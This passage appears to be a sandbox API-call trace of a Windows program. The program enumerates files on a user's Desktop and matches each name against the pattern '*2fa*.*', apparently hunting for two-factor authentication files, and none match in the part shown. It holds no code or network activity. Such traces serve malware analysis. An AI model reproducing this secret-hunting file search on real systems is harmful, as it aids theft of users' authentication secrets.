MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236aba0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.749] PathMatchSpecW (pszFile="4W5ZA5pn.mkv", pszSpec="*2fa*.*") returned 0 [0146.749] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.749] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.749] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="Gt0E_1l d.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv" [0146.749] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.749] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.749] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="Gt0E_1l d.mkv" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv") returned="\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv" [0146.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0146.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", cchWideChar=66, lpMultiByteStr=0x32bb838, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", lpUsedDefaultChar=0x0) returned 66 [0146.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236ab28, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.750] PathMatchSpecW (pszFile="Gt0E_1l d.mkv", pszSpec="*2fa*.*") returned 0 [0146.750] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.750] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.750] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="gxCLkfF5FMxOhrIJ.odp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp" [0146.750] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.750] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.750] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="gxCLkfF5FMxOhrIJ.odp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp" [0146.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0146.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", cchWideChar=73, lpMultiByteStr=0x2362af0, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", lpUsedDefaultChar=0x0) returned 73 [0146.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236ab88, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.751] PathMatchSpecW (pszFile="gxCLkfF5FMxOhrIJ.odp", pszSpec="*2fa*.*") returned 0 [0146.751] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.751] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.751] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="oI9YDYidz9W1RvrQSv58.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp" [0146.751] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.751] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.751] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="oI9YDYidz9W1RvrQSv58.bmp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp" [0146.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0146.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", cchWideChar=77, lpMultiByteStr=0x2362db0, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", lpUsedDefaultChar=0x0) returned 77 [0146.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236ac78, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.751] PathMatchSpecW (pszFile="oI9YDYidz9W1RvrQSv58.bmp", pszSpec="*2fa*.*") returned 0 [0146.751] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.751] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.752] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="rREFgeGQqPivNXTKc.odp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp" [0146.752] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.752] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.752] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="rREFgeGQqPivNXTKc.odp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp" [0146.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", cchWideChar=74, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 74 [0146.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", cchWideChar=74, lpMultiByteStr=0x2362e08, cbMultiByte=74, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", lpUsedDefaultChar=0x0) returned 74 [0146.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236ab28, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.752] PathMatchSpecW (pszFile="rREFgeGQqPivNXTKc.odp", pszSpec="*2fa*.*") returned 0 [0146.752] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.752] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.752] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="VFIt1.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png" [0146.752] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.753] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.753] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="VFIt1.png" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png") returned="\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png" [0146.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0146.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", cchWideChar=62, lpMultiByteStr=0x32ba1e0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", lpUsedDefaultChar=0x0) returned 62 [0146.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236ac48, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.753] PathMatchSpecW (pszFile="VFIt1.png", pszSpec="*2fa*.*") returned 0 [0146.753] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.753] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.753] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="xmyz7bDpg-Yp_.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi" [0146.753] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.753] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.753] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="xmyz7bDpg-Yp_.avi" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi") returned="\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi" [0146.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", cchWideChar=70, lpMultiByteStr=0x32bb298, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", lpUsedDefaultChar=0x0) returned 70 [0146.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236abe8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.754] PathMatchSpecW (pszFile="xmyz7bDpg-Yp_.avi", pszSpec="*2fa*.*") returned 0 [0146.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", cchWideChar=52, lpMultiByteStr=0x32bafe0, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpUsedDefaultChar=0x0) returned 52 [0146.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236abb8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.755] PathMatchSpecW (pszFile="Hf4qcXfqlQUQtaJUeRB3", pszSpec="*2fa*.*") returned 0 [0146.755] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.756] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.756] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="HpDI0J.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv" [0146.756] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.756] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.756] lstrcatW (in: lpString1="\\", lpString2="HpDI0J.flv" | out: lpString1="\\HpDI0J.flv") returned="\\HpDI0J.flv" [0146.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0146.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", cchWideChar=42, lpMultiByteStr=0x33400d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", lpUsedDefaultChar=0x0) returned 42 [0146.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac78, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.756] PathMatchSpecW (pszFile="HpDI0J.flv", pszSpec="*2fa*.*") returned 0 [0146.756] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.756] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.756] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="IfzBpGV_K 2s4OumEYx.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp" [0146.756] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.756] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.756] lstrcatW (in: lpString1="\\", lpString2="IfzBpGV_K 2s4OumEYx.bmp" | out: lpString1="\\IfzBpGV_K 2s4OumEYx.bmp") returned="\\IfzBpGV_K 2s4OumEYx.bmp" [0146.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0146.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", cchWideChar=55, lpMultiByteStr=0x32bab20, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", lpUsedDefaultChar=0x0) returned 55 [0146.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236aab0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.757] PathMatchSpecW (pszFile="IfzBpGV_K 2s4OumEYx.bmp", pszSpec="*2fa*.*") returned 0 [0146.757] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.757] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.757] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="itQ3y7 _7jtUy-n5Tj.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav" [0146.757] 